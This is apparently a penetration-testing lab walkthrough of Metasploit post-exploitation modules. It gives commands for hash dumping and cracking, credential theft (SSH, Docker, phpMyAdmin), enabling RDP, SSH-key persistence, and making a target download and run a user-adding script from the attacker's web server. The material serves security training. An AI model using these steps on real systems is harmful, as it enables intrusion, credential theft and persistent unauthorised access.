# Post Exploitation Modules Meterpreter

## Windows Post Exploitation

To begin with, you will need to put your current meterpreter session in the background, this can be done by running the following command:

```
background
```

<figure><img src="https://assets.ine.com/lab/learningpath/211e1318885126a8a77902da449d503f97e51d72974885bbf1226cb58ba9b22b.jpg" alt=""><figcaption></figcaption></figure>

The first module we can explore is the **win\_privs** module, which can be used to automate the enumeration of the current user privileges. We can load the module, configure the **SESSION** option and then run it using the following commands:

### **Enumerate current user privileges**

```
use post/windows/gather/win_privs
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/718a9b5de94524692edd91728392a79151fefab0b4e176535c367b10f4d0daef.jpg" alt=""><figcaption></figcaption></figure>

As shown in the preceding screenshot, this module will enumerate the privileges of the current user you have access to on the target system and will provide you with useful information like w**hether the user is admin and whether UAC is enabled or disabled.**

### Enumerate Logged on Users

The next module we can use is the **enum\_logged\_on\_users** which as the name suggests, enumerates a list of currently and previous logged on users. Run the module:

```
use post/windows/gather/enum_logged_on_users
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/b6ed08068499d0580fd8eb19f010f800ae1f180e7436539e060860cf05b0a0f7.jpg" alt=""><figcaption></figcaption></figure>

As shown in the preceding screenshot, this module will enumerate a list of currently and previous logged on users as well as the respective SIDs of the user accounts.

We can also check if the target system is a virtual machine by leveraging a module called **checkvm**. This module will tell you whether the target system is a VM or container. Run the module:

```
use post/windows/gather/checkvm
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/c25bf1eb7f9460ffc1dcb60902ac1dadab5f79f40c650849e2318a1ff31b610c.jpg" alt=""><figcaption></figcaption></figure>

As shown in the preceding screenshot, the module tells us that the target system is a virtual machine running on the Xen hypervisor.

### Enumerate Applications

Another important module is the **enum\_applications** module. This module enumerates a list of installed application/programs on the target system. Run the module:

```
use post/windows/gather/enum_applications
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/84b3a2289c55de190b03bc694be3fff3240aaef60bf9f0f6e1387cf7aeb73f1d.jpg" alt=""><figcaption></figcaption></figure>

As shown in the preceding screenshot, the module enumerates a list of installed applications. This information is very useful as it can be used to search for vulnerabilities in the installed programs that can be leveraged or exploited to elevate your privileges or reveal important information. It also gives you an idea as to what this system is being used for.

### Enumerate Computers

We can utilize the **enum\_computers** module to enumerate a list of computers connected to the same LAN that the target is a part of. Try running the module:

```
use post/windows/gather/enum_computers
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/6386993e483abcc7707f166f5d8a8110736004ecb456c3306e817fca9cae0b0e.jpg" alt=""><figcaption></figcaption></figure>

As shown in the preceding screenshot, the module reveals that the target system is not part of a Windows domain.

### Enumerate Shares

We can also enumerate a list of shares by using the **enum\_shares** module. Run the module:

```
use post/windows/gather/enum_shares
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/fcb41f82784aadd2bdf8c50cf8b2cd3d5254f848ad2bfde035cf248e94a09714.jpg" alt=""><figcaption></figcaption></figure>

As shown in the preceding screenshot, the module only finds the print share.

### Gather domain info with post exploitation module

```
use post/windows/gather/enum_domain
set SESSIONS 1
exploit
```

### Enabling the RDP service using windows post exploitation module

```
use post/windows/manage/enable_rdp
set SESSION 1
exploit
```

### Post exploitation to dump Linux hashes and crack them

```
use post/linux/gather/hashdump
set SESSION 1
exploit
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FzWzi1x1E2RJi1p7XZkEW%2Fimage.png?alt=media&#x26;token=041e14ed-c231-4430-8a4e-2c74d9446e62" alt=""><figcaption></figcaption></figure>

Run the provided auxiliary module to find the plain text password of the root user.

```
use auxiliary/analyze/crack_linux
set SHA512 true
run
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F2eIJDkVXkxecRqLzkeI2%2Fimage.png?alt=media&#x26;token=9add99de-29a0-4c38-b118-15a60f0c450f" alt=""><figcaption></figcaption></figure>

## Post Exploitation Shell to Meterpreter

```
use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST 192.212.191.2
run
```

## Linux Post Exploitation Modules

### Configs Enumeration

**Module 1:** post/linux/gather/enum\_configs

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_configs>

```
use post/linux/gather/enum_configs
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/81a93a1f510228c418ee6b335fbe8e1e0db1e072a3269dfd6dea81648a4abbe8.png" alt=""><figcaption></figcaption></figure>

### Environment Variables

**Module 2:** post/linux/gather/env

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/env>

```
use post/multi/gather/env
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/d45af4798b9067ea95b55f134a29efcf91ba45deba869edf9b92ffcc7981636b.png" alt=""><figcaption></figcaption></figure>

### Network info

**Module 3:** post/linux/gather/enum\_network

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_network>

**Command:**

```
use post/linux/gather/enum_network
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/9e6dcd84030049514ae0ff67a4aa11e701a8776f5dd042deeaa2deb2218ee703.png" alt=""><figcaption></figcaption></figure>

### Enumerate Protections

**Module 4:** post/linux/gather/enum\_protections

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_protections>

```
use post/linux/gather/enum_protections
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/2a6524cca5f69ed1ca96532d6bd7e5481a6a800638223a812909642c848c1166.png" alt=""><figcaption></figcaption></figure>

### System info

**Module 5:** post/linux/gather/enum\_system

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_system>

```
use post/linux/gather/enum_system
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/dc13fd210982f1d7a294e8ba3a819db0a2ff84e5afd9c0ba5286ff3cd56adea7.png" alt=""><figcaption></figcaption></figure>

### Check if docker

**Module 6:** post/linux/gather/checkcontainer

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/checkcontainer>

```
use post/linux/gather/checkcontainer
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/aceef6bccae4d03cd9bb4b8e44ef11d4bd27e56e8aff81e2ae57831c093be740.png" alt=""><figcaption></figcaption></figure>

### Check VM

**Module 7:** post/linux/gather/checkvm

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/checkvm>

```
use post/linux/gather/checkvm
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/cd7010836fb062d0cadcfdf32d169c74a16e288cf108460d42be7082b737f8fb.png" alt=""><figcaption></figcaption></figure>

### Check Users history

**Module 8:** post/linux/gather/enum\_users\_history

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_users\\_history>

```
use post/linux/gather/enum_users_history
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/22db49af5f16858ce89dbfe71718c56ed9ed098952ca9044f6f13b80b0494866.png" alt=""><figcaption></figcaption></figure>

### Multi Manage sessions

**Module 9:** post/multi/manage/system\_session

**Link:** <https://www.rapid7.com/db/modules/post/multi/manage/system\\_session>

**Command:**

```
use post/multi/manage/system_session
set SESSION 1
set TYPE python
set HANDLER true
set LHOST 192.216.221.2
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/21a15a94de3e28907b09fdf59d448d7688ba96e52d4684a8cf952c5653e5034d.png" alt=""><figcaption></figcaption></figure>

Now, let’s create a bash file which will create a user on the target machine by uploading a test.sh file and execute it.

```
useradd hacker
useradd test
useradd nick
```

Now, let’s run the Apache server on the attacker’s machine and copy the test.sh file in the root folder.

<figure><img src="https://assets.ine.com/lab/learningpath/a69626a710356baa73acfba3b7424f17f27bc80a084add51974110badac393d8.png" alt=""><figcaption></figcaption></figure>

**Command:**

```
/etc/init.d/apache2 start
cp test.sh /var/www/html
```

<figure><img src="https://assets.ine.com/lab/learningpath/e79e6731c231da6dfc9a0bb62220ee80e0990bf5b43fe0681959543263083b97.png" alt=""><figcaption></figcaption></figure>

Now, let’s use the download and exec post-exploitation module on the target machine.

### Checking Excecutables

**Module 10:** post/linux/manage/download\_exec

**Link:** <https://www.rapid7.com/db/modules/post/linux/manage/download\\_exec>

**Command:**

```
use post/linux/manage/download_exec
set URL http://192.216.221.2/test.sh
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/701f82f151e9ea40adb1adc5d4aca64ae15f0faead49ec9feb643823f1e012c7.png" alt=""><figcaption></figcaption></figure>

Let’s verify it by interacting with the session.

**Command:**

```
sessions -i 1
cat /etc/passwd
```

<figure><img src="https://assets.ine.com/lab/learningpath/d014a59ed6634384aefab9177f5b4927daa00802b07f02c16df6aa38df07819d.png" alt=""><figcaption></figcaption></figure>

### Gather SSH Creds

**Module 11:** post/multi/gather/ssh\_creds

**Link:** <https://www.rapid7.com/db/modules/post/multi/gather/ssh\\_creds>

**Command:**

```
use post/multi/gather/ssh_creds
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/f2ca783dd757d42fef4aace9754272332bc80024981571e8593b2dc5a803396b.png" alt=""><figcaption></figcaption></figure>

### Docker Creds

**Module 12:** post/multi/gather/docker\_creds

**Link:** <https://www.rapid7.com/db/modules/post/multi/gather/docker\\_creds>

**Command:**

```
use post/multi/gather/docker_creds
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/be3d518d8ab101b0739967b918b3eb107f4b9d05e4099d279637a19df7e385df.png" alt=""><figcaption></figcaption></figure>

### Hashdump

**Module 13:** post/linux/gather/hashdump

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/hashdump>

**Command:**

```
use post/linux/gather/hashdump
set SESSION 1
set VERBOSE true
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/1c99774adf78e340201205690bfe8bf048b7690309635d6445ee2f9732b37aa8.png" alt=""><figcaption></figcaption></figure>

### Encrypt FS Creds

**Module 14:** post/linux/gather/ecryptfs\_creds

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/ecryptfs\\_creds>

**Command:**

```
use post/linux/gather/ecryptfs_creds
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/9bc09464ed30bc13403b37cb45be77871c137ba13b38b600b187ef2e0528ef35.png" alt=""><figcaption></figcaption></figure>

### Enum PSK

**Module 15:** post/linux/gather/enum\_psk

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_psk>

**Command:**

```
use post/linux/gather/enum_psk
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/b30f8e1e03903478b23b4be39975c9acd6c08e33dac36c4b4bfaf6cdf99c4f27.png" alt=""><figcaption></figcaption></figure>

### Enum Xchat

**Module 16:** post/linux/gather/enum\_xchat

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/enum\\_xchat>

**Command:**

```
use post/linux/gather/enum_xchat
set SESSION 1
set XCHAT true
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/2093f5465fb0f13c1b96d9a1e0c3f3133fe1768cc9db8983a80b8db36637e5f7.png" alt=""><figcaption></figcaption></figure>

**Module 17:** post/linux/gather/phpmyadmin\_credsteal

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/phpmyadmin\\_credsteal>

**Command:**

```
use post/linux/gather/phpmyadmin_credsteal
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/330684e1a2f61927ee15bdb1145b2a13f8760cc17799d2ddd7b7c47111318930.png" alt=""><figcaption></figcaption></figure>

### PPTPD Chap Secrets

**Module 18:** post/linux/gather/pptpd\_chap\_secrets

**Link:** <https://www.rapid7.com/db/modules/post/linux/gather/pptpd\\_chap\\_secrets>

**Command:**

```
use post/linux/gather/pptpd_chap_secrets
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/7ab5cc25c4528b01e5927778f67fa4e026516046f19e431ecee878ede15e53de.png" alt=""><figcaption></figcaption></figure>

### SSH Key Persistence

**Module 19:** post/linux/manage/sshkey\_persistence

**Link:** <https://www.rapid7.com/db/modules/post/linux/manage/sshkey\\_persistence>

**Command:**

```
use post/linux/manage/sshkey_persistence
set SESSION 1
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/3b57d713695f6f5bc9af18bf64c4ec3ae055bfda4cbca10c3379195cb1c93353.png" alt=""><figcaption></figcaption></figure>

## References

* [Post Exploitation](https://metasploit.help.rapid7.com/docs/metasploit-basics#sectionpost-exploitation-module)
